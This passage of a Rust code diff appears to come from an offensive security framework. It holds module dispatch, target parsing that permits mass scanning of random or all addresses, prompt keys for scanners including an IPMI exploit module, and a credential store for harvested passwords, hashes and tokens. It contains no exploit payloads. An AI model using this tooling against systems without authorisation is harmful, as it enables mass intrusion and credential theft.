||||
fn print_scan_summary(label: &str, total: usize, success: usize, failed: usize) {
|
||||
use colored::Colorize;
|
||||
crate::mprintln!("\n{}", format!("=== {} Summary ===", label).cyan().bold());
|
||||
crate::mprintln!(" Total: {}", total);
|
||||
crate::mprintln!(" {}", format!("Successful: {}", success).green());
|
||||
crate::mprintln!(" {}", format!("Failed: {}", failed).red());
|
||||
}
|
||||
|
||||
/// Helper to aggregate all available modules from generated registry
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
registry::all_modules()
|
||||
}
|
||||
|
||||
/// Check if any third-party plugins are loaded.
|
||||
pub fn plugin_count() -> usize {
|
||||
discover_modules().iter().filter(|m| m.starts_with("plugins/")).count()
|
||||
}
|
||||
|
||||
/// All known categories (auto-generated from src/modules/ subdirectories)
|
||||
pub fn categories() -> &'static [&'static str] {
|
||||
registry::CATEGORIES
|
||||
}
|
||||
|
||||
/// Get module info metadata if the module provides it.
|
||||
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::info_by_category(category, module_name)
|
||||
}
|
||||
|
||||
/// Run a non-destructive vulnerability check if the module supports it.
|
||||
pub async fn check_module(module_path: &str, target: &str) -> Option<crate::module_info::CheckResult> {
|
||||
let mut parts = module_path.splitn(2, '/');
|
||||
let category = parts.next()?;
|
||||
let module_name = parts.next()?;
|
||||
registry::check_by_category(category, module_name, target).await
|
||||
}
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
include!(concat!(env!("OUT_DIR"), "/plugins_dispatch.rs"));
|
||||
@@ -1,7 +1 @@
|
||||
use anyhow::Result;
|
||||
|
||||
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
|
||||
|
||||
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
|
||||
dispatch(module_name, target).await
|
||||
}
|
||||
|
||||
@@ -1,81 +0,0 @@
|
||||
use std::collections::HashSet;
|
||||
use std::env;
|
||||
use std::fs::{self, File};
|
||||
use std::io::{Write};
|
||||
use std::path::Path;
|
||||
|
||||
fn main() {
|
||||
let out_dir = env::var("OUT_DIR").unwrap();
|
||||
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
|
||||
let mut file = File::create(&dest_path).unwrap();
|
||||
|
||||
let scanners_root = Path::new("src/modules/scanners");
|
||||
|
||||
let mut mappings: HashSet<(String, String)> = HashSet::new();
|
||||
|
||||
// Traverse all .rs files (excluding mod.rs)
|
||||
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
|
||||
|
||||
// Start generating dispatch code
|
||||
writeln!(
|
||||
file,
|
||||
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
|
||||
).unwrap();
|
||||
|
||||
for (key, mod_path) in &mappings {
|
||||
let short_key = key.rsplit('/').next().unwrap_or(&key);
|
||||
let mod_code_path = mod_path.replace("/", "::");
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
|
||||
short = short_key,
|
||||
full = key,
|
||||
path = mod_code_path
|
||||
).unwrap();
|
||||
}
|
||||
|
||||
writeln!(
|
||||
file,
|
||||
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
|
||||
).unwrap();
|
||||
|
||||
writeln!(file, " }}\n Ok(())\n}}").unwrap();
|
||||
}
|
||||
|
||||
/// Recursively walk through directories, find all .rs files excluding mod.rs
|
||||
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
|
||||
if dir.is_dir() {
|
||||
for entry in fs::read_dir(dir)? {
|
||||
let entry = entry?;
|
||||
let path = entry.path();
|
||||
let file_name = entry.file_name().to_string_lossy().into_owned();
|
||||
|
||||
if path.is_dir() {
|
||||
let sub_prefix = if prefix.is_empty() {
|
||||
file_name.clone()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_name)
|
||||
};
|
||||
visit_all_rs(&path, sub_prefix, mappings)?;
|
||||
} else if path.extension().map_or(false, |e| e == "rs") {
|
||||
if file_name == "mod.rs" {
|
||||
continue;
|
||||
}
|
||||
|
||||
let file_stem = path.file_stem().unwrap().to_string_lossy();
|
||||
let mod_path = if prefix.is_empty() {
|
||||
file_stem.to_string()
|
||||
} else {
|
||||
format!("{}/{}", prefix, file_stem)
|
||||
};
|
||||
|
||||
// Add to mappings if not already added
|
||||
if mappings.insert((mod_path.clone(), mod_path.clone())) {
|
||||
println!("✅ Found scanner: {}", mod_path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
+273
-113
@@ -1,4 +1,5 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::collections::HashMap;
|
||||
use std::sync::{Arc, RwLock};
|
||||
use ipnetwork::IpNetwork;
|
||||
use regex::Regex;
|
||||
@@ -22,6 +23,8 @@ pub enum TargetConfig {
|
||||
Single(String),
|
||||
/// CIDR subnet (e.g., "192.168.1.0/24")
|
||||
Subnet(IpNetwork),
|
||||
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
|
||||
Multi(Vec<String>),
|
||||
}
|
||||
|
||||
impl GlobalConfig {
|
||||
@@ -53,15 +56,71 @@ impl GlobalConfig {
|
||||
if trimmed.chars().any(|c| c.is_control()) {
|
||||
return Err(anyhow!("Target cannot contain control characters"));
|
||||
}
|
||||
|
||||
// Check for path traversal attempts
|
||||
|
||||
// Mass scan keywords: "random", "0.0.0.0" — store as-is
|
||||
if trimmed == "random" || trimmed == "0.0.0.0" {
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// File-based target list: resolve canonical path to prevent traversal,
|
||||
// then store if the file exists. This check must come before the ".."
|
||||
// rejection so relative file paths like "../targets.txt" work.
|
||||
let path = std::path::Path::new(trimmed);
|
||||
if path.exists() && path.is_file() {
|
||||
// Resolve to canonical path (eliminates .., symlinks, etc.)
|
||||
let canonical = path.canonicalize()
|
||||
.map_err(|e| anyhow!("Failed to resolve file path '{}': {}", trimmed, e))?;
|
||||
let canonical_str = canonical.to_string_lossy().to_string();
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(canonical_str));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Check for path traversal attempts (only for non-file targets)
|
||||
if trimmed.contains("..") || trimmed.contains("//") {
|
||||
return Err(anyhow!("Target contains invalid characters (path traversal)"));
|
||||
}
|
||||
|
||||
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
|
||||
if trimmed.contains(',') {
|
||||
let targets: Vec<String> = trimmed
|
||||
.split(',')
|
||||
.map(|t| t.trim().to_string())
|
||||
.filter(|t| !t.is_empty())
|
||||
.collect();
|
||||
if targets.is_empty() {
|
||||
return Err(anyhow!("No valid targets in comma-separated list"));
|
||||
}
|
||||
if targets.len() == 1 {
|
||||
// Single target after parsing — recurse without comma
|
||||
return self.set_target(&targets[0]);
|
||||
}
|
||||
// Validate each individual target
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
for t in &targets {
|
||||
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
|
||||
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
|
||||
continue;
|
||||
}
|
||||
if std::path::Path::new(t.as_str()).is_file() {
|
||||
continue;
|
||||
}
|
||||
if t.parse::<IpNetwork>().is_err() {
|
||||
Self::validate_hostname_or_ip(t)?;
|
||||
}
|
||||
}
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Multi(targets));
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
// Try to parse as CIDR subnet first
|
||||
if let Ok(network) = trimmed.parse::<IpNetwork>() {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
|
||||
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Subnet(network));
|
||||
return Ok(());
|
||||
}
|
||||
@@ -70,7 +129,7 @@ impl GlobalConfig {
|
||||
Self::validate_hostname_or_ip(trimmed)?;
|
||||
|
||||
// Otherwise, treat as single IP or hostname
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
let mut target_guard = self.target.write().map_err(|_| anyhow!("Config lock poisoned"))?;
|
||||
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
|
||||
Ok(())
|
||||
}
|
||||
@@ -87,7 +146,10 @@ impl GlobalConfig {
|
||||
|
||||
// Check for valid characters
|
||||
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
|
||||
let valid_chars = Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").unwrap();
|
||||
static VALID_CHARS: once_cell::sync::Lazy<Regex> = once_cell::sync::Lazy::new(|| {
|
||||
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$").expect("hardcoded regex must compile")
|
||||
});
|
||||
let valid_chars = &*VALID_CHARS;
|
||||
if !valid_chars.is_match(target) {
|
||||
return Err(anyhow!(
|
||||
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
|
||||
@@ -118,142 +180,82 @@ impl GlobalConfig {
|
||||
|
||||
/// Get the global target as a single string (for display)
|
||||
pub fn get_target(&self) -> Option<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.as_ref().map(|t| match t {
|
||||
let guard = self.target.read().ok()?;
|
||||
guard.as_ref().map(|t| match t {
|
||||
TargetConfig::Single(ip) => ip.clone(),
|
||||
TargetConfig::Subnet(net) => net.to_string(),
|
||||
TargetConfig::Multi(targets) => targets.join(", "),
|
||||
})
|
||||
}
|
||||
|
||||
/// Get a single IP address from the global target
|
||||
/// For subnets, returns the network address (first IP)
|
||||
pub fn get_single_target_ip(&self) -> Result<String> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
Ok(ip.clone())
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Return the network address (first IP in the subnet)
|
||||
Ok(net.network().to_string())
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Get all IP addresses from the global target
|
||||
/// Returns a vector of IP addresses (expands subnets)
|
||||
/// For very large subnets (> 65536 IPs), returns an error
|
||||
pub fn get_target_ips(&self) -> Result<Vec<String>> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(ip)) => {
|
||||
// For single IP/hostname, return as-is
|
||||
Ok(vec![ip.clone()])
|
||||
}
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Check subnet size to prevent memory issues
|
||||
// Calculate size from prefix length: 2^(32-prefix) for IPv4, 2^(128-prefix) for IPv6
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
// For very large IPv6 subnets, cap at u64::MAX
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
const MAX_SUBNET_SIZE: u64 = 65536; // Limit to /16 or smaller
|
||||
|
||||
if size > MAX_SUBNET_SIZE {
|
||||
return Err(anyhow!(
|
||||
"Subnet too large ({} IPs). Maximum allowed: {} IPs. Use a smaller subnet or use 'get_single_target_ip' for a single IP.",
|
||||
size, MAX_SUBNET_SIZE
|
||||
));
|
||||
}
|
||||
|
||||
// Expand subnet to individual IPs
|
||||
let mut ips = Vec::new();
|
||||
for ip in net.iter() {
|
||||
ips.push(ip.to_string());
|
||||
}
|
||||
Ok(ips)
|
||||
}
|
||||
None => Err(anyhow!("No global target set")),
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if global target is set
|
||||
pub fn has_target(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
target_guard.is_some()
|
||||
self.target.read().map(|g| g.is_some()).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Check if global target is a subnet
|
||||
pub fn is_subnet(&self) -> bool {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
matches!(target_guard.as_ref(), Some(TargetConfig::Subnet(_)))
|
||||
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
|
||||
}
|
||||
|
||||
/// Get the target subnet if set
|
||||
pub fn get_target_subnet(&self) -> Option<IpNetwork> {
|
||||
let guard = self.target.read().ok()?;
|
||||
match guard.as_ref() {
|
||||
Some(TargetConfig::Subnet(net)) => Some(*net),
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Get the size of the target (number of IPs)
|
||||
/// For single IPs, returns 1
|
||||
/// For subnets, returns the subnet size without expanding
|
||||
pub fn get_target_size(&self) -> Option<u64> {
|
||||
let target_guard = self.target.read().unwrap();
|
||||
let target_guard = self.target.read().ok()?;
|
||||
match target_guard.as_ref() {
|
||||
Some(TargetConfig::Single(_)) => Some(1),
|
||||
Some(TargetConfig::Subnet(net)) => {
|
||||
// Calculate size from prefix length
|
||||
let size = match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 {
|
||||
1u64
|
||||
} else {
|
||||
2u64.pow(32 - prefix)
|
||||
}
|
||||
Some(Self::network_size(net))
|
||||
}
|
||||
Some(TargetConfig::Multi(targets)) => {
|
||||
let mut total = 0u64;
|
||||
for t in targets {
|
||||
if let Ok(net) = t.parse::<IpNetwork>() {
|
||||
total = total.saturating_add(Self::network_size(&net));
|
||||
} else {
|
||||
total = total.saturating_add(1);
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 {
|
||||
u64::MAX
|
||||
} else {
|
||||
2u64.pow(exp)
|
||||
}
|
||||
}
|
||||
}
|
||||
};
|
||||
Some(size)
|
||||
}
|
||||
Some(total)
|
||||
}
|
||||
None => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Calculate the number of IPs in a network
|
||||
fn network_size(net: &IpNetwork) -> u64 {
|
||||
match net {
|
||||
IpNetwork::V4(net4) => {
|
||||
let prefix = net4.prefix() as u32;
|
||||
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
|
||||
}
|
||||
IpNetwork::V6(net6) => {
|
||||
let prefix = net6.prefix() as u32;
|
||||
if prefix >= 128 {
|
||||
1u64
|
||||
} else {
|
||||
let exp = 128u32.saturating_sub(prefix);
|
||||
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Clear the global target
|
||||
pub fn clear_target(&self) {
|
||||
let mut target_guard = self.target.write().unwrap();
|
||||
*target_guard = None;
|
||||
if let Ok(mut target_guard) = self.target.write() {
|
||||
*target_guard = None;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -262,3 +264,161 @@ use once_cell::sync::Lazy;
|
||||
|
||||
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(|| GlobalConfig::new());
|
||||
|
||||
/// Module-level configuration for API-driven execution
|
||||
/// This is set by the API before running a module and read by modules
|
||||
/// to get pre-configured values instead of prompting the user
|
||||
///
|
||||
/// # Unified Prompt Keys
|
||||
///
|
||||
/// These are the standardized `custom_prompts` keys used across all
|
||||
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
|
||||
/// JSON `"prompts"` object of an API `/api/run` request.
|
||||
///
|
||||
/// ## Common Keys (used by many modules)
|
||||
/// | Key | Type | Description |
|
||||
/// |-------------------|--------|------------------------------------------------|
|
||||
/// | `port` | u16 | Target service port |
|
||||
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
|
||||
/// | `verbose` | y/n | Verbose output |
|
||||
/// | `save_results` | y/n | Save results to file |
|
||||
/// | `output_file` | string | Output filename for results |
|
||||
/// | `concurrency` | int | Number of concurrent threads/tasks |
|
||||
/// | `threads` | int | Alias for concurrency (some modules) |
|
||||
/// | `wordlist` | path | Path to wordlist file |
|
||||
/// | `target_file` | path | Path to file containing targets |
|
||||
/// | `additional_targets` | string | Comma-separated additional targets |
|
||||
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
|
||||
///
|
||||
/// ## Scanner-Specific Keys
|
||||
///
|
||||
/// ### Port Scanner (`scanners/port_scanner`)
|
||||
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
|
||||
///
|
||||
/// ### SSH Scanner (`scanners/ssh_scanner`)
|
||||
/// `load_from_file`, `target_file`
|
||||
///
|
||||
/// ### DNS Recursion (`scanners/dns_recursion`)
|
||||
/// `domain`, `record_type`
|
||||
///
|
||||
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
|
||||
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
|
||||
///
|
||||
/// ### Ping Sweep (`scanners/ping_sweep`)
|
||||
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
|
||||
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
|
||||
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
|
||||
///
|
||||
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
|
||||
/// `check_http`, `check_https`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
|
||||
/// `scheme`, `use_ports`, `ports`
|
||||
///
|
||||
/// ### Dir Brute (`scanners/dir_brute`)
|
||||
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
|
||||
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
|
||||
///
|
||||
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
|
||||
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
|
||||
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
|
||||
///
|
||||
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
|
||||
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
|
||||
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
|
||||
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
|
||||
///
|
||||
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
|
||||
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
|
||||
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
|
||||
///
|
||||
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
|
||||
/// `retries`, `search_target`
|
||||
///
|
||||
/// ### Sample Scanner (`scanners/sample_scanner`)
|
||||
/// `check_http`, `check_https`
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ModuleConfig {
|
||||
pub port: Option<u16>,
|
||||
pub username_wordlist: Option<String>,
|
||||
pub password_wordlist: Option<String>,
|
||||
pub concurrency: Option<usize>,
|
||||
pub stop_on_success: Option<bool>,
|
||||
pub save_results: Option<bool>,
|
||||
pub output_file: Option<String>,
|
||||
pub verbose: Option<bool>,
|
||||
pub combo_mode: Option<bool>,
|
||||
/// Generic key→value prompt overrides.
|
||||
/// When set, `cfg_prompt_*` functions in utils.rs return these values
|
||||
/// instead of prompting stdin. Keys match prompt names like "port", "mode", etc.
|
||||
pub custom_prompts: HashMap<String, String>,
|
||||
/// When true, cfg_prompt_* will return an error instead of falling back
|
||||
/// to stdin. This prevents the API server from blocking on interactive prompts.
|
||||
pub api_mode: bool,
|
||||
}
|
||||
|
||||
impl ModuleConfig {
|
||||
pub fn new() -> Self {
|
||||
Self::default()
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for ModuleConfig {
|
||||
fn default() -> Self {
|
||||
Self {
|
||||
port: None,
|
||||
username_wordlist: None,
|
||||
password_wordlist: None,
|
||||
concurrency: None,
|
||||
stop_on_success: None,
|
||||
save_results: None,
|
||||
output_file: None,
|
||||
verbose: None,
|
||||
combo_mode: None,
|
||||
custom_prompts: HashMap::new(),
|
||||
api_mode: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Global module config instance (API-provided configuration)
|
||||
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
|
||||
Arc::new(RwLock::new(ModuleConfig::new()))
|
||||
});
|
||||
|
||||
/// Get a clone of the current module config.
|
||||
/// Checks the task-local RunContext first (for concurrent API runs),
|
||||
/// then falls back to the global MODULE_CONFIG.
|
||||
pub fn get_module_config() -> ModuleConfig {
|
||||
// Try task-local context first (set by API handler per-request)
|
||||
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
|
||||
if let Ok(config) = task_local {
|
||||
return config;
|
||||
}
|
||||
// Fallback to global (for CLI/shell mode)
|
||||
MODULE_CONFIG.read()
|
||||
.map(|g| g.clone())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
/// Get the per-request target from the task-local RunContext, if set.
|
||||
/// Returns `None` in shell/CLI mode or when no context is active.
|
||||
pub fn get_run_target() -> Option<String> {
|
||||
crate::context::RUN_CONTEXT
|
||||
.try_with(|ctx| ctx.target.clone())
|
||||
.ok()
|
||||
.flatten()
|
||||
}
|
||||
|
||||
/// Get the results directory (~/.rustsploit/results/) — creates it if needed.
|
||||
/// Module output files are stored here when running via API.
|
||||
pub fn results_dir() -> std::path::PathBuf {
|
||||
let dir = home::home_dir()
|
||||
.unwrap_or_else(|| std::path::PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("results");
|
||||
if !dir.exists() {
|
||||
use std::os::unix::fs::DirBuilderExt;
|
||||
let _ = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir);
|
||||
}
|
||||
dir
|
||||
}
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
// src/context.rs
|
||||
//
|
||||
// Per-run execution context using tokio task-locals.
|
||||
// Provides per-task ModuleConfig, target, and output accumulator
|
||||
// for concurrent API runs.
|
||||
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::config::ModuleConfig;
|
||||
use crate::output::OutputAccumulator;
|
||||
|
||||
tokio::task_local! {
|
||||
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
|
||||
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
|
||||
/// check it automatically.
|
||||
pub static RUN_CONTEXT: Arc<RunContext>;
|
||||
}
|
||||
|
||||
/// Per-run context carrying module config, target, and structured output accumulator.
|
||||
pub struct RunContext {
|
||||
/// Module configuration for this run (prompts, api_mode, etc.)
|
||||
pub config: ModuleConfig,
|
||||
/// Per-request target override (API mode). Shell mode leaves this None.
|
||||
pub target: Option<String>,
|
||||
/// Accumulated structured findings from this module run.
|
||||
pub output: OutputAccumulator,
|
||||
}
|
||||
|
||||
impl RunContext {
|
||||
/// Create a new run context with config and target.
|
||||
pub fn with_target(config: ModuleConfig, target: String) -> Self {
|
||||
Self {
|
||||
config,
|
||||
target: Some(target),
|
||||
output: OutputAccumulator::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================
|
||||
// HELPER: Run a future within a RunContext scope
|
||||
// ============================================================
|
||||
|
||||
/// Execute an async closure inside a task-local `RUN_CONTEXT` with a target.
|
||||
/// Returns the closure's result plus the `RunContext`.
|
||||
pub async fn run_with_context_target<F, Fut, T>(config: crate::config::ModuleConfig, target: String, f: F) -> (T, std::sync::Arc<RunContext>)
|
||||
where
|
||||
F: FnOnce() -> Fut,
|
||||
Fut: std::future::Future<Output = T>,
|
||||
{
|
||||
let ctx = std::sync::Arc::new(RunContext::with_target(config, target));
|
||||
let ctx_clone = ctx.clone();
|
||||
let result = RUN_CONTEXT.scope(ctx_clone, f()).await;
|
||||
(result, ctx)
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
use std::path::PathBuf;
|
||||
use tokio::sync::RwLock;
|
||||
use once_cell::sync::Lazy;
|
||||
use serde::{Serialize, Deserialize};
|
||||
use colored::*;
|
||||
|
||||
/// Type of credential stored.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum CredType {
|
||||
Password,
|
||||
Hash,
|
||||
Key,
|
||||
Token,
|
||||
}
|
||||
|
||||
impl std::fmt::Display for CredType {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
CredType::Password => write!(f, "password"),
|
||||
CredType::Hash => write!(f, "hash"),
|
||||
CredType::Key => write!(f, "key"),
|
||||
CredType::Token => write!(f, "token"),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// A single credential entry.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct CredEntry {
|
||||
pub id: String,
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub service: String,
|
||||
pub username: String,
|
||||
pub secret: String,
|
||||
pub cred_type: CredType,
|
||||
pub source_module: String,
|
||||
pub timestamp: String,
|
||||
pub valid: bool,
|
||||
}
|
||||
|
||||
/// Credential store backed by a JSON file.
|
||||
pub struct CredStore {
|
||||
entries: RwLock<Vec<CredEntry>>,
|
||||
file_path: PathBuf,
|
||||
}
|
||||
|
||||
impl CredStore {
|
||||
fn new() -> Self {
|
||||
let file_path = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("creds.json");
|
||||
|
||||
// Synchronous load at init time (called once from Lazy)
|
||||
let entries = if file_path.exists() {
|
||||
match std::fs::read_to_string(&file_path) {
|
||||
Ok(contents) => match serde_json::from_str(&contents) {
|
||||
Ok(data) => data,
|
||||
Err(e) => {
|
||||
eprintln!("[!] Warning: creds.json is corrupted ({}). Starting fresh.", e);
|
||||
let backup = file_path.with_extension("json.bak");
|
||||
let _ = std::fs::copy(&file_path, &backup);
|
||||
Vec::new()
|
||||
}
|
||||
},
|
||||
Err(_) => Vec::new(),
|
||||
}
|
||||
} else {
|
||||
Vec::new()
|
||||
};
|
||||
|
||||
Self {
|
||||
entries: RwLock::new(entries),
|
||||
file_path,
|
||||
}
|
||||
}
|
||||
|
||||
/// Maximum length for credential fields to prevent memory abuse.
|
||||
const MAX_FIELD_LEN: usize = 4096;
|
||||
|
||||
/// Add a credential. Returns the generated ID (empty string on validation failure).
|
||||
pub async fn add(
|
||||
&self,
|
||||
host: &str,
|
||||
port: u16,
|
||||
service: &str,
|
||||
username: &str,
|
||||
secret: &str,
|
||||
cred_type: CredType,
|
||||
source_module: &str,
|
||||
) -> String {
|
||||
// Input validation
|
||||
if host.is_empty() || host.len() > Self::MAX_FIELD_LEN {
|
||||
return String::new();
|
||||
}
|
||||
if secret.len() > Self::MAX_FIELD_LEN || username.len() > Self::MAX_FIELD_LEN {
|
||||
return String::new();
|
||||
}
|
||||
let id = uuid::Uuid::new_v4().simple().to_string()[..16].to_string();
|
||||
let entry = CredEntry {
|
||||
id: id.clone(),
|
||||
host: host.to_string(),
|
||||
port,
|
||||
service: service.to_string(),
|
||||
username: username.to_string(),
|
||||
secret: secret.to_string(),
|
||||
cred_type,
|
||||
source_module: source_module.to_string(),
|
||||
timestamp: chrono::Local::now().format("%Y-%m-%d %H:%M:%S").to_string(),
|
||||
valid: true,
|
||||
};
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
entries.push(entry);
|
||||
entries.clone()
|
||||
};
|
||||
self.save_locked(&snapshot).await;
|
||||
id
|
||||
}
|
||||
|
||||
/// List all credentials.
|
||||
pub async fn list(&self) -> Vec<CredEntry> {
|
||||
self.entries.read().await.clone()
|
||||
}
|
||||
|
||||
/// Search credentials by host.
|
||||
pub async fn search(&self, query: &str) -> Vec<CredEntry> {
|
||||
let q = query.to_lowercase();
|
||||
self.list().await.into_iter().filter(|e| {
|
||||
e.host.to_lowercase().contains(&q)
|
||||
|| e.service.to_lowercase().contains(&q)
|
||||
|| e.username.to_lowercase().contains(&q)
|
||||
}).collect()
|
||||
}
|
||||
|
||||
/// Delete a credential by ID.
|
||||
pub async fn delete(&self, id: &str) -> bool {
|
||||
let snapshot = {
|
||||
let mut entries = self.entries.write().await;
|
||||
let before = entries.len();
|
||||
entries.retain(|e| e.id != id);
|
||||
if entries.len() < before {
|
||||
Some(entries.clone())
|
||||
} else {
|
||||
None
|
||||
}
|
||||
};
|
||||
if let Some(data) = snapshot {
|
||||
self.save_locked(&data).await;
|
